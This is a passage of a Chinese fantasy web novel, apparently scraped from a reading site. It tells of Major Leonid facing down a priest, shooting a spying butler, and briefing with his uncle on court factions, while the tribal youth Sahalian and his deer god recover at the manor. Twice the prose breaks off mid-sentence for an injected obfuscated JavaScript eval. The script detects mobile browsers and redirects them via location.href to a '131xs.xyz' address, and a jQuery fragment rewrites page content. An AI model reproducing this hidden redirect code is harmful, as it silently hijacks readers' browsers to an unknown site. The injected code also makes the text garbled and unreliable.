那些始终未发一言的骑兵在他的煽动下举起了手中的长枪。 里奥尼德稳了稳手中因为出汗而滑脱的手枪木柄,又向前挪了两步,大声喊道:“世袭贵族私宅豁免宗教审判,除非你指控的是我和我的家族!” “告诉这个罗刹小鬼,以我的神力足以把他们都杀了,何惧世间法则对神灵的约束!”鹿神身旁的黑雾愈重,像是即将连月亮的光芒也要吞噬了。在他面具下露出的嘴角,杀意满溢而出。 “别动手!听里奥尼德说!” 萨哈良用他们听不懂的部族语大声喊叫,阻拦着鹿神扯下手中的金线。 但显然,神父也不敢直接与贵族撕破脸。当他犹豫的时候,里奥尼德趁着那些卫兵被萨哈良吸引了注意力,快速从裤兜中取出了那张皱巴巴的信件。 “这上面的盖章你应该认识吧?”里奥尼德举起那张破烂的信纸,朝着神父说着。 神父眯起眼睛,尽管上面的字他看不清,但那来自帝国军队的印章,他是知道的。 “你们远东边疆区的军人,罔顾年轻的皇帝陛下要求优待本地土著,屡次在边境发生冲突,制造惨案,给东瀛人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149431|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口实,给他们间谍渗透的机会,我说的这话可属实?” 听见里奥尼德这么说,这么大的罪名扣下来,神父可没了刚才那副神气劲儿了,转而阴沉的质问他。 “这开拓荒地,有点冲突摩擦很正常,怎么说也没有在庄园封地中暗自实施异教祭祀,亵渎神明的罪行更重吧?” 神父肥腻的脖子上瘙痒愈甚,酒糟鼻上也不停的冒着汗。那些汗水像针扎一样刺得他刚才那地方又痒又痛。鹿神见状又轻轻一拽金线,那里转瞬间出现了一道轻微的血痕。 “请问远东军区司令部向我下达任务,让我研究土著文化,完成论文与外国学者论战,以证明帝国人种高贵,有什么问题?”里奥尼德将他的质疑反抛回去。 “啊......这......”神父的脖颈已经痒得难以忍受了,听里奥尼德这么说更是烦躁难耐。 “况且,伊琳娜大病初愈,我在家里设宴招待这位异族朋友,朋友愿意以异域舞蹈取悦她,有什么问题?” 这下轮到里奥尼德步步紧逼,旁边的士兵也不知道怎么办了,只能不停扭头看向神父,等待他的命令。 “哼,你早晚有一天死于你的傲慢,记住我说的话。”神父恶狠狠的甩下这句话,准备带着骑兵转身离去。 见到对方已经准备鸣金收兵,里奥尼德放下手枪,但没有收进腰间的皮夹中。 “对了,我忘记一件事。”神父转过头,满脸堆着贱兮兮的笑容,朝着里奥尼德身后说道:“你的主子看不上你了,滚过来吧,贱狗。” 管家低着头,耸着肩,害怕得哆哆嗦嗦,跟着军人一起往前走,身边的士兵还不忘照着他狠狠踹了一脚。 原本按着萨哈良的两名士兵也把他放了,被他们压着这么久,胳膊和腿早就麻的失去知觉。萨哈良努力的站起身,又摇摇晃晃的倒在地上。这时候,他看见里奥尼德突然回身,地上的碎石都被他的马靴踢到了一边。 “嘭!” 里奥尼德毫不犹豫,一枪击中了管家的胸口。管家抬起头,瞪大了惊恐的眼睛,露出难以置信的表情,随后软绵绵的倒在了地上,没了动静。 “啧......少校,是不是有点过了?”神父听见响声,转过头看着他。 “秘密窃听、记录现役军官的起居,这该当何罪?”里奥尼德看着管家的尸体,愤恨的说道。 火把的光精准地描摹着里奥尼德扣在扳机上的食指,他的指节,因愤怒的用力而微微弯曲,关节处绷紧的线条透出大理石般的坚硬。 听见枪响的伊琳娜穿着一身洁白的睡袍,从地下的实验室中跑出来了,肩膀上披着羊毛的披肩,袖子还粘上了墨水。 她刚一推开门,就看到了躺在地上的管家尸体,和拿着手枪的里奥尼德。 里奥尼德又掏出手帕,擦了擦手枪黑色的枪管,没有再看神父一眼,只是又低声说道:“还是说是您指使的?要么我和您一同出席军事法庭?” 神父擦了擦额头的汗,狠狠的说道:“疯子,里奥尼德,你和你的家族都是疯子。伊琳娜,想办法离他远点吧。” 看见神父和倒在地上的萨哈良,伊琳娜很快就猜到为什么了,她对神父说:“您不必劳神关心我了。” 见到伊琳娜出来,里奥尼德又忍不住多说两句:“想必您也给了他不少钱吧,我不杀他,军事法庭一样判他死刑。到时候一家子挂在城门上,让您去给他们做祷告,神父就满意了?” “哼,我们走!”神父在士兵的搀扶下骑上马,一行人狼狈的准备离开。 “把你的人带走,通敌,秘密监视,被我自行击杀,怎么样?赶紧搬走!别给我留了把柄!” 里奥尼德给神父留足了面子,他朝尸体摆摆手,那些跟着神父的军官听见了,连忙带着士兵跑过去将绳子绑在尸体脚上,拖行出了庄园,在地上留下了长长的血迹。 鹿神收起了手中的金线,将面具又斜戴回额头上,那些围绕着他的黑雾也慢慢散去了。他转过头,关切的问着萨哈良:“少年,怎么样,还好吗?” 伊琳娜和里奥尼德也小步跑上前去,扶起了萨哈良。 “怎么样,你还好吗?”里奥尼德轻轻的询问着萨哈良。 “还好,就是胳膊有点麻了。”萨哈良努力伸展着自己的胳膊,笑着对里奥尼德说:“谢谢你,里奥。” 伊琳娜见萨哈良瘦小的身体在清晨的冷风中冻得瑟瑟发抖,又将身上的披肩盖在了他身上。 “里奥,刚刚是怎么回事?”搀扶着萨哈良的伊琳娜抬头问着里奥尼德。 “有人说我们在私自搞亵渎神明的异教仪式,报告给了教会。”他看了看地上的血迹,又继续说道:“但那些骑兵我一个都不认识,恐怕早有准备想构陷我。” 伊琳娜也想不明白此中缘由,她大胆假设着:“会不会是与政变案有关......” 里奥尼德没有回应也没有反驳,他和伊琳娜说:“伊琳,我想念我家那位佛朗西管家了。” “我也是。”伊琳娜点点头。 他看着天边渐渐隐现的霞光,低声说道: “天一亮我得去趟司令部,明天叫家里这点仆人全滚蛋吧。” 21.至上的权柄 “十一点了,萨哈良,该起床了。” 在挂着厚重窗帘的庄园客房,正午的阳光从缝隙中刺入像是刀子般锋利,划开了萨哈良躺在床上并不安静的无梦睡眠。 还没睡到自然醒,就听鹿神的声音从不知道多远的地方传来,一会说着十点,一会又说着十一点,再等一会就该说十二点了。 “十一点......是什么......东西。”萨哈良拿起床上的羽毛枕头,盖在了头上。 经过昨天夜里的一顿折腾,萨哈良已经感觉自己快要见到天上的祖灵们了。本来躺在柔软的棉花床垫上,却被人一直拽到庭院,按在地上,还差点丢了命。本来崭新的衬衫也被弄脏了,里奥尼德只好给萨哈良穿自己旧的丝绸睡衣。 “十一点啊,就是这个!”鹿神指了指桌上的座钟,滴答滴答正响得人心烦,镀金外壳上的两尊小天使像对萨哈良愚弄般的笑着。 通宵之后最难受的就是没睡饱。萨哈良脑袋里沉甸甸地钝痛,似乎有锤子一下下敲击着太阳穴,仿佛头都要裂开。他费力地撑开眼皮,然而眼皮却像粘在一起。 透过窗帘的正午阳光毫不留情地宣告着时光的流逝。 “你......好像很喜欢这个东西。”萨哈良撑起身体,靠在枕头上。他的声音因为口渴而沙哑,里奥尼德那件旧丝绸睡衣正紧贴着后背,被汗水浸透的地方一片冰凉。 鹿神转过身,靠在桌子上对萨哈良说:“没想到这竟然是描述时间的道具。你知道此中妙处吗?人类竟然发明了可以描述时间的道具,就在滴答声中——” “滴-答-滴-答,时间就流逝了。”鹿神和着钟表的响动,用嘴模仿秒针走动的声音。 原本被鹿神俊美的外表迷惑,萨哈良从来没有思考过他有多少岁。现在,他第一次觉得,鹿神身上老得有一股智者气息,可以降下预言的那种智者。 鹿神严肃的盯着他,好像有什么话想说。 “萨哈良。” 萨哈良抬起头,也看着鹿神。在他深邃的眼睛中,第一次读出了一丝茫然。 “这趟旅途,可能没法以我们想象中那样展开。”鹿神摊开手,手心中空无一物。 萨哈良点点头。 “我隐隐中有一种预感,堪比上古时的灾难正在路上朝着我们赶来,我听见它在骑行,那阵阵的马蹄声。” 即便从修辞上没有完全明白,萨哈良也体会到鹿神话中的含义了。 “即便如此,你也要和我同行,完成这次旅程吗?” 鹿神第一次询问他这种问题,哪怕在部族营地准备启程的时候,他也没有说过这种话。 萨哈良学着鹿神的样子,摊开手说道:“这不就是你们说的,命运吗?” 他被少年模仿他的样子逗笑了,语气又带上了一点开心:“哈哈哈哈,好啊,不愧是我选中的少年。” “再者说,开弓没有回头箭,现在回去让阿沙和萨满姐姐们嘲笑我吗?我以后也要和祖灵们一起狩猎在天上的雪原中。” 萨哈良笑着回应鹿神,但最后那句还是让他迟疑了一下,阿沙爸爸濒死时描述的景象仍在他心中萦绕。 和鹿神说了一会儿话后,饥饿的感觉开始在萨哈良的腹中滚动。 “不行了,我要吃饭。”相处多日,萨哈良不再和鹿神客气,当下已经是饿了渴了就说话的阶段了。 鹿神从书桌前起身,说道:“里奥尼德那个罗刹小鬼不能只管住不管吃吧,去找他。” 萨哈良挣扎着翻身滚到床边,昨天被士兵拽得胳膊关节仍然酸痛着。他伸出脚,在地上摸索着鞋子,脚踝被皮鞋磨得有些发红了。 他踉跄站定,踩在厚实却冰凉的地毯上,身后宽大的橡木床柱上刻着繁复的藤蔓纹饰,床铺上松软褥垫深陷的褶皱,诉说着这一觉睡得令人疲惫。 “你看见我昨天的衬衫扔去哪儿了吗?”萨哈良低头翻着昨天睡前随意扔在一边的衣服,已经忘记被女仆取走拿去洗了。 鹿神摇摇头,他完全没注意。 萨哈良站在房间里的穿衣镜前,头发乱糟糟的像是鸡窝。他身上里奥尼德那件宽大的丝绸睡衣,就像穿着连衣裙一样,把长长的衣袖往上提一提,正好缝成羊腿袖。 “布谷——布谷——” 突然,身后那座钟发出了响亮的声音,差点把鹿神吓得飞到天花板上。他们两个一同扭过头看着声音的来源。 “十二点了!哦,原来这个来回动的小鸟是报告时间的。” 鹿神兴奋的戳了戳那只从座钟中飞出又飞回的小鸟,没过几秒钟,敲门声就响了。 “请进!”萨哈良一边说一边跳回床上,拉起被子盖上自己,抬起头盯着房门。 “您......您好,我给您送换洗的衣物,夫人在会客厅等您用餐。” 推开门进来的,是昨天萨满仪式上被吓到哭泣的女仆。她年纪不大,说话的时候仍然声音颤抖,不小心与萨哈良目光接触时就立刻低下了头,随后转身快步离去了。 萨哈良拿起衬衫,发现已经洗净烘干了,上面还带着壁炉中木柴的香气,温热的。 “看看你给人家吓得,眼睛都哭肿了。”鹿神又恢复了平时揶揄萨哈良时那种轻佻的语气。 “什么啊,把我吓到了还差不多,我差点就被枪毙了!” 听他这么说,萨哈良赶紧反驳了一句。 经过昨天晚上发生的那些事,萨哈良对这里已经比较熟悉了,不需要带路也能找到会客厅的位置。别墅里的采光不能算特别好,也许是为了度过寒冷的冬季,窗户都不大。再加上深色的木地板,显得更昏暗了。 没有主人在旁边跟随,萨哈良胆子大了一些。 他好奇的打量着走廊中的那些陈列,镀金画框中的也许是里奥尼德的历代祖先,他们有着相近的面容。男人们穿着华丽军服,胸前缀满冰冷的勋章,眼神锐利或空洞。 女人们则穿着繁复的衣裙,面容苍白而精致,宛如蜡像。她们的微笑像是被画家精心描绘上去的装饰纹样,感觉不到温度。 萨哈良慢慢走着,他踩在深色地板上的脚步,声音沉闷而孤单,被两旁厚实的墙壁吸收,几乎没有一丝回音。向前望去,只在遥远的尽头,一扇嵌着彩色玻璃的高窗,透进几束稀薄的光。 “注意脚下。” 鹿神在一旁提醒着沉浸在油画中的萨哈良。管家离去后这里的仆从们手忙脚乱,地上那一滩未干的水渍和没有扫净的玻璃渣,正展示着刚刚发生的事情。 没有管家之后,连会客厅的大门都是半掩着的。 萨哈良轻轻将沉重的门轻轻推开,伊琳娜早早的就在她主人的座位上等待了。 阳光透过四周高处的彩色玻璃花窗投射到长长的餐桌上,伊琳娜正优雅而恬静的端坐在那边。她时而翻动书页,时而拿着笔在写画着什么。没有病痛的折磨后,她看起来脸色红润,心情也不错。 萨哈良不懂贵族的礼仪,生怕自己打扰到她,便蹑手蹑脚的向前走。 “萨哈良,你醒啦,昨天睡得怎么样?” 但伊琳娜还是感觉到了有人进来,她站起身和萨哈良打着招呼。 “我......还好吧,感觉有点累。”萨哈良被她突然抬头起身吓了一跳。 伊琳娜笑了笑,说:“哈哈,累是正常的,毕竟刚刚走了一遭生死边缘。” “里奥怎么不在?”萨哈良四下张望,发现没有看见里奥尼德的影子。 见萨哈良的头发乱糟糟的,伊琳娜先是示意女仆过来,然后说道:“他今天一大早就去司令部了,毕竟昨天出了那么大的事。” 那些年龄稍大的女仆看见萨哈良仍然有些抗拒,最后还是伊琳娜朝她们瞪了过去,才端着水盆和毛巾过来。 “让她们给你梳梳头发吧,本来我是让仆人送到客房的,但没人敢去。”伊琳娜看她们这样,稍稍有些生气。 萨哈良坐在椅子上,女仆们低着头,将他围在中间。 有的拿起蘸着清水的毛巾,轻轻地将他的头发打湿。有的则是在旁边用猪鬃毛制成的刷子打着肥皂泡。她们之间的共同点是,每个人动作都很轻,生怕弄痛了萨哈良,然后他化身恶魔一口把她们吞了。 这位部落少年从来没有被人这样对待过,他僵在椅子上像是一尊雕像。那些女仆冰凉的手指划过他的脸颊,让他感觉痒痒的。 “明天要把你们全开了,今天就不好好干活了吗?”看她们因为害怕身体蜷缩的样子,伊琳娜就气不打一处来。 被女主人训过之后,帮萨哈良擦脸的一不小心将小拇指戳在了他的鼻子上。看见萨哈良因为吃痛而皱起眉头,那个女仆连忙后退一步,一边摇头一边说着对不起。 “她们好怕你啊,感觉你要变成什么妖怪一样。哪儿像部族的女人,个个敢和我顶嘴。”鹿神在旁边看着这些人边笑边说。 她们因为害怕而谨慎小心的样子,让萨哈良想起给他打扮成新娘的萨满姐姐们,心里突然觉得不忍。 “我觉得女仆姐姐们很好,她们早上的时候帮我把衬衫洗净,又放在壁炉旁烘干,拿来的时候还带着木柴的香气和温热。” “穿着很舒服!”萨哈良又补充了一句,扭头朝她们憨憨的笑着。 听到萨哈良这么说,胆大的女仆偷偷看着他的侧脸:萨哈良白皙的皮肤在阳光下好像长着绒毛的桃子,他鼻子两侧的雀斑更是可爱。 她们互相对视之后,好像突然意识到,眼前的也许并不是什么恶魔,只不过是一个温柔善良的异族少年而已。他和她们一样,长着一双眼睛一个鼻子一张嘴,不会吃人,只会吃些牛啊、羊啊、鸡啊什么的。 “你不怪她们出卖你吗?”伊琳娜笑着回答。 女主人说完,她们惊恐万分,连忙摇着头。 “那个胖神父,不是说是管家干的吗?”萨哈良疑惑的看向伊琳娜。 “哈哈哈哈,我逗她们的。好好把萨哈良打扮干净吧!” 女主人吩咐完,她们也没有刚才那么害怕了。帮萨哈良擦完脸后,另一个女仆便将肥皂泡轻轻擦上去,然后轻轻的用剃刀帮他刮干净脸上的绒毛。 头顶上用梳子的女仆也敢用力了一些,她将昨天萨哈良被按在碎石地时,沾上的树枝草屑轻轻篦出来,梳顺之后,又抹上一些头油。 这下萨哈良看起来又光彩照人了。 “啧啧,油头粉面。”鹿神没忍住噗嗤一声笑了,萨哈良努力的控制自己没瞪他一眼。 这时候,仆从们从门厅外推进来两个推车,走到他们面前掀开了盖子。 端上餐桌的先是一道冷盘,碟子纯白又带着象牙的油润,边缘点缀着五彩的纹样,最后镀上金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159197|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。里面盛着的是半条腌渍鲱鱼,旁边的小碗中则是像绿豆一样的鱼子酱。 紧接着是热盘,同样风格的碟子中盛着剪到恰到好处的培根和火腿。他们并没有像部族一样将汤放在碗中,而是放在一个像盘子一样,底部略深的容器里。里面是用牛肉、洋葱和甜菜熬制而成的浓汤,中间摆着一小支牛至草。 最后是一篮刚刚烤制出炉的长条形面包,散发着黄油的诱人香气。 “吃饭吧,估计你也饿的不行了。” 确实,听伊琳娜说完感觉更饿了。 萨哈良饿了十多个小时了,上去就是一顿狼吞虎咽,眼前的每道菜都如此诱人,远不是小镇的乡野厨师可以媲美的。 一般这种时候,都会听见鹿神的揶揄。所以萨哈良也做好了心理准备,结果他半天没说话。就在他放下心来,准备再拿起一个面包时,鹿神幽幽的声音又响起了。 “我怀疑你们部族是不是瞒着我偷偷供奉狗熊了?桌子都快被你拱翻了,你看看人家伊琳娜小姐——” 听见鹿神的声音,萨哈良朝伊琳娜那边瞥了一眼。 她像是不知道何为饥饿,如同品下午茶一般。轻轻的将面包撕下一角,蘸一点甜菜汤,然后缓缓的咽下。整个过程和谐而安静,像是室内乐的指挥家。 伊琳娜像是知道萨哈良为什么停了一下,笑着说道:“没事的萨哈良,我每次看你吃饭都觉得很有食欲。” 但萨哈良可不这么想,他的脸一直红到了耳根,现在头发梳起来可盖不住这样的窘态了。只好放慢速度,模仿着贵族的礼仪。好在伊琳娜善解人意,没有接着看他。 她低下头去继续认真品尝美食了。 吃饱了之后,看着鲱鱼的骨刺和下面镶金边的盘子,不知道为什么,他想起来昨天夜里神父带来的圣物匣,里面装饰金银珠宝的那半截枯骨。 萨哈良突然感觉一阵恶心。 “伊琳娜姐姐,为什么昨天那个神父要带来一截骨头?” 听见萨哈良叫她姐姐,伊琳娜捂着嘴笑了起来。 “哈哈哈哈哈,萨哈良,有没有人说过你说话很甜?” 萨哈良听她这么说,脸又变得红扑扑了。他只是觉得伊琳娜对他很好,应该叫姐姐才对。 见他这样,伊琳娜也不逗他了,接着说道:“那是圣遗骸,来自一位为教会做出过贡献的圣人,当然,造假的也很多。” 这是萨哈良从未听过的词,他疑惑不解的问道:“为什么,既然是圣人难道不应该让他安息吗?” 伊琳娜点了点头,继续说着:“像里奥尼德家族,他们在这个国家建立之时为皇帝立下过汗马功劳,为帝国交足了血税。” 她一边说,一边指着远处挂着的那些家族先祖画像说道:“但教会呢?恐怕圣人生前创造的价值,还没有他死后为神父赚的多。” 萨哈良依旧没有太听明白,但鹿神朝她点了点头。 “你还记得先前我和你说野猪神部落收集其他部族图腾的事情吗?大概就是这样。”见萨哈良一头雾水,鹿神也在一旁解释道。 “总之,那个小小匣子......”伊琳娜指了指萨哈良的身上,说:“大概相当于你之前身上的萨满法袍,它象征了神父处置你的权柄,这个权力是无价的。” 这样说,萨哈良差不多就明白了。 “抱歉萨哈良,说得有些过激了,我只会尊重科学家,对这些趴在民众身上吸血的神棍没什么好说的。”伊琳娜笑着说道。 萨哈良摇摇头,反正他也听不懂。 吃饱喝足之后,伊琳娜又叫仆人们为萨哈良沏了一壶茶消食。 伊琳娜倚在她的座椅上,将刚刚没看完的小说拿了过来。她的指尖随意拂过那只精致的骨瓷茶杯,仿佛在拨弄一缕空气。早春的别墅中还有些阴冷,女仆静悄悄的去往壁炉中又填了些木柴,暖意无声的蔓延,同茶杯中袅袅而上的水汽交织在一起。 萨哈良也笨拙地学着伊琳娜的样子去拈那细巧的茶杯把手,指尖被滚烫的杯壁烫得微微一缩,杯底磕碰在碟子上,发出清脆的声响。 “别急,萨哈良,”伊琳娜轻轻放进茶杯中三颗方糖,缓缓说道:“茶叶来自东方,但饮茶也是帝国的灵魂,喝茶时要小心翼翼的,不能让茶具的声音高过说话声。” 萨哈良点点头,试着轻轻的拿起茶杯。一旁的鹿神看着他的滑稽样子,努力憋着笑。 “原本我不想和你说这些腐朽的礼仪,是想带你参观我的实验室。”伊琳娜招呼女仆也向萨哈良的杯子中放了几颗方糖,继续说道:“不过时间也晚了,估计一会里奥也该回来了。” “之前伊琳娜姐姐说自己是作家,您在写一个什么样的故事呢?”萨哈良轻轻的啜饮了一口,几颗方糖勾起了茶水的清甜。 伊琳娜对他的问题感到惊讶,她开心的说:“真的吗?你要听吗?” 萨哈良又点点头,正好他也想了解部族以外的人们都在想什么。 不过,在初春清冷的会客厅中,只有那混合着茶叶、香水与炉火余烬的气息愈发浓郁,在热茶氤氲的蒸汽中暗自蔓延,将少年困在这片温暖的午后里。他也像里奥尼德一样,听了没多会就昏昏欲睡了,毕竟萨哈良暂时完全听不明白。 这时,女仆突然推门走进了会客厅。 “夫人,少校回来了。” 22.无限期假日 乡野的清晨,多云的天空看不见朝霞,只有沉沉的灰白。晨雾渐渐散去,椴木静默地立在路两旁,树干湿漉漉地泛着黑色。那些低矮的迎春花丛已经生出鹅黄色的枝芽,也算是平添一些生气。树木之间的土路,此时却早已被融雪浸润得不成样子了,翻搅成一片污浊的泥沼。 昨夜那些在乡间穿行的骑兵,因为战马的蹄子上绑着厚麻布,在地上留下了不自然的印记。那密密麻麻的巨大蹄印,就像是散布瘟疫的天启骑士曾经路过,让不明就里的路人看了也心生恐惧。 也许在农夫之间又要兴起什么奇怪的传说了。 此时,一辆旧马车正行驶在路上。在马车的边边角角上,曾经黑亮的油漆已经脱落,露出下面的糟朽的木质纹理。车轮上可以看见许多处维修的痕迹,那些铁箍锈迹斑斑,箍在木质轮辐边缘。车辕木残留着许多道绳索的深痕,像是记录了以往负重累累的旅程。 这其实是先前管家出门办事、搬运东西时使用的车。 “少校,我们为什么要开这辆车出门啊。”正在驾驶马车的勤务兵朝着身后说道。 里奥尼德坐在车厢里,因为没睡好觉,已经生出了眼袋,微微泛紫。那车轴转动的噪音让他心烦,持续不断的颠簸更是令人难以忍受。由于没有玻璃,只是用破布盖在窗户上,不断吹进的冷风更是让他打起寒颤。 他向勤务兵反问道:“你知道昨天晚上发生什么了吗?” “报告少校!我不知道。” 勤务兵当然不知道,他只知道早上来到庄园时,里奥尼德已经坐在这辆破车上。 “伊琳娜让我低调点,避避风头。我知道营中爱传八卦,过两天就会有人跟你说为什么了。” 里奥尼德也懒得解释,只是躺在破烂的皮座椅上,闭目养神。 “嘿嘿,您和伊琳娜夫人什么时候成婚,想喝酒了。”勤务兵才刚十七八岁出头,还是个毛头小子,也看不出来他的少校心情正烦闷着。 年轻的少校抬起腿用马靴踢了踢门板,说道:“我就说你们这帮新兵蛋子喜欢传八卦,这事跟你们有关系吗!好好开车!” “是!” 实际上里奥尼德对这件事毫无概念,他只是一心想帮助伊琳娜登上去往新大陆的轮船。可是,她这么一走,时间长了总会被人发现,最终肯定会被判成叛逃。届时会是什么结果,谁也不知道。 由于时值周末的早晨,司令部内院子里的人还不多。里奥尼德偷偷掀起窗户上的破布,探出头,想看看外面的情况。结果那辆老旧马车的车轴在减速时发出了剧烈的响动,随后是一声悠长而沉闷的呻吟,就像是老人的叹息,在安静的司令部大院里显得格外滑稽。 车辕上悬挂的铃铛,偶尔碰撞,又发出低哑的声响。这下就连门口站岗的卫兵都看了过来,都想知道是谁的车。 里奥尼德把头猛地收了回去,一把按住了破布。 “少校!我们到了。”勤务兵从车上跳下来,站在旁边朝着车厢里敬礼。 里奥尼德让他吓了一跳,低声怒骂道:“你们一天天都吃什么东西,嗓门这么大!” 他见那勤务兵又想大声回话,赶紧伸手过去捂住了他的嘴。 远东司令部的主楼隐匿在几棵高大的橡树后,那是一栋厚重的古典主义风格的砖石建筑,又混杂了帝国喜好的罗马式穹顶。它线条粗粝,窗洞深邃,四棱的尖顶上铺满了昂贵的铜瓦,随着时间的侵蚀透出优雅的铜绿色。 但外立面几何形的墙线中又有着砖红色的浮雕,上面那些表情狰狞的恶兽和神话传说中的英雄,无不展示着帝国的威严。 里奥尼德快步走上长长的石阶,在戒备森严的铁栅门前,那些腰杆挺直的卫兵立刻向他敬礼。当走进门厅,空气骤然变得稠密、冰冷,带着陈旧文件的霉味。 以及一丝若有若无,从无数过往决策者指尖中残留过的烟草气息。 即便是周末,这里也是忙忙碌碌。那些肩膀佝偻的年轻人,时不时从门厅中穿过。他们穿着肘部磨损的文官制服,抱着高耸如山,用劣质纸张写就的公文函件,脚步匆忙却眼神空洞,也没比河边的纤夫好了多少。 有时会闯进来穿着深蓝色制服的骑兵信使,腰间的公文皮包中是盖着华丽火漆印章的政令。他挎着闪亮的马刀,靴子上沾满了未干的泥泞,为沉闷的空间带来一丝极北的寒冷空气。 里奥尼德继续快步走着,那些低阶军官见到他无不敬礼示意。但从他们的眼神中,里奥尼德也看出来了,昨晚的事多半整个司令部都知道了。 绕过门厅走过气派的楼梯间后,在二楼,偶尔一扇门打开,端着茶具的勤务兵从里面走出,那边传来电报机与打字机急促的咔嗒声。透过半掩的房门,墙壁上巨大泛黄的远东地区军事地图占据了大部分空间,上面用红蓝铅笔标注着密密麻麻的箭头与圈点。 走廊的尽头,是一道看起来异常厚重的房门,橡木的门体上包裹着黑色皮革和铜钉,门的正中间是一枚硕大的镀金双头鹰徽章。 “报告!少校里奥尼德!” 里奥尼德轻轻敲了敲门,听到里面传来声音后,推门走了进去。 “中将!”里奥尼德站定朝着坐在办公桌后的男人敬礼。 “行了行了,直接叫叔父吧,别客气。”那名男人招呼里奥尼德坐到办公桌前,他有些颤动的手拿起了茶壶。 里奥尼德坐在桌前感觉有点些许的不自在,尽管他并不认为自己做错了什么。 “昨天夜里的事我听说了,那边叫嚷着要送你上军事法庭,我给压下来了。” 身为中将的叔父把茶杯推了过来,里奥尼德向他点了点头。 叔父吹着茶杯中的热气,连眼皮都没抬一下,缓缓说道: “别这么紧张,都是小问题。上边没法拿神父怎么样,但是处分了调兵来的蠢货。” 但里奥尼德有自己的疑问,他提问道:“神父为什么会想到在家族庄园放一个监视我的管家?” 叔父没有直接回答他,而是继续用颤抖的手拿起茶壶给里奥倒水。 “瞧瞧我这手,自从十来年前在中亚那场战争,挨了颗子弹。”叔父举起胳膊,给里奥尼德看了看自己身上的弹孔疤痕。 然后他继续说道:“医生说我这个伤到神经了,没办法。” 里奥尼德努力憋出一个平和的笑容,说:“下次给您带点补品来,我这有一些远东的草药......” 叔父摆摆手打断了他的话。 “提起远东,我倒要问问你,你们昨天夜里到底有没有在庄园里搞异教仪式?” 听到这句话,里奥尼德突然感觉在叔父面前,他还是那个暑期来远东度假时,犯错之后努力掩饰的小男孩。 “没......没有,是一个土著人朋友给伊琳表演舞蹈。” “啪!” 叔父一下把手中的茶杯用力按到办公桌上,有些生气的说道: “现在连我也骗了?还拿伊琳出来挡枪?” 里奥尼德低下头,不知道该说什么好。 看他这个样子,也不好继续发火。和他父亲不同,叔父很是宠爱自己这个侄子。 “我没有怪你的意思,里奥。我跟你爹不一样,带着帝国的军队走南闯北什么稀奇古怪的东西都见过。”叔父说话的时候嘴角带上一点笑容,像是在回忆年轻时的日子。 他接着说:“我跟你说过我曾经还有一个信拜火教的波斯情人吗?” “啊?”里奥尼德没想到叔父会这么说。 “没想到吧,好家伙,那身上的毛比我都密,长了个一字眉,真是尤物啊。”叔父一边说一边起身从书架上的匣子里,拿出一张盖着红色火漆的密函。 叔父又继续说道:“先回答你第一个问题吧,还记得陛下要求彻查的政变案吗?” 里奥尼德摸了摸鼻子,那些因为政变案波及而遭流放或处死的年轻军官、知识分子,他们的面孔慢慢在眼前浮现。 他拿起茶杯,喝了口水说道:“我还记得,但那件事和远东事务有什么关系?” “傻孩子,你就没看出朝廷里分为两派吗?只有你们这帮年轻军官会想到搞刺杀,我们这帮老东西吃得好喝的好,干嘛折腾这个。” 见里奥没听懂,叔父又继续说道: “你们的对立面是谁?是你爹那样的保守派吗?不是吧?” 里奥尼德在脑子中回忆着父亲那帮保守分子的所作所为,确实如叔父所说,他们只是习惯明哲保身,保持不掺和这件事的状态。 “只有一种人会鼓动你们这帮年轻人,那就是主战派。”叔父一边说,一边在桌子上展开了地图。 “你以为你们很激进,但是在这件事里面只是中间派,因为你们都是贵族出身,真有那么大的动力豁出去刺杀皇帝吗?” 他一边说,一边朝着里奥尼德敲敲自己的脑袋:“没人怕你们,把你们全部搞臭防止倒向保守派才是目的。” 叔父说完,指着帝国边疆标红的南方地区。 “东瀛人一直在边境搞事情,如果我们能与他们开战,最终获得大量的土地,像神父背后的教会,可以从中获得大量的利益。” 叔父朝着他投向期待的眼神,等着里奥给出答案。 “您的意思是,主战派,比如说神父,他们想剔除我们在远东的势力,挑起边境摩擦,进而全面开战?”里奥尼德试着说了一个答案。 叔父走了过来,揉了揉他的脑袋说道:“对嘛,我就知道里奥是个聪明孩子。” 趁着他转身,里奥尼德偷偷理了理被他揉乱的头发,随后叔父继续说道: “所以他们试图抓住你要命的把柄,要挟你爹这个保守派领袖。” 里奥尼德点点头。事实上,他从来没有从这个角度思考,他以为对东瀛人开战是皇帝的意志,所以才不断向远东出兵。但紧接着,叔父接下来的话打断了他的思虑。 “但我的意思不是这仗就不打了,只是准备不够。这也是为什么保守派迟迟不动的原因,但主战派很急,非常急。” 叔父说完,又拿起钢笔在地图上画了一个大圈。 “这么大的一片土地,里面有大量的矿产资源。等大家都到齐了,还够分吗?这就是他们为什么急。” 里奥尼德静静思考着,他拿起茶杯放到嘴边,才发现水已经喝干了。 叔父拿起茶壶,又帮他斟满,继续说道:“也许这个问题不应该是我问你,但还是得敲打敲打你,你俩打算什么时候结婚?” 里奥尼德透过窗户上的玻璃,看着院中那棵高大的杉树,树顶上被乌鸦筑了一个巨大的巢,但现在里面什么都没有。 “我......我觉得现在战争在即,结婚不太好吧?”里奥尼德提起这事就结结巴巴。 叔父笑着说:“我不是你爹,我不催你。” 他拿起那封密函,继续说道: 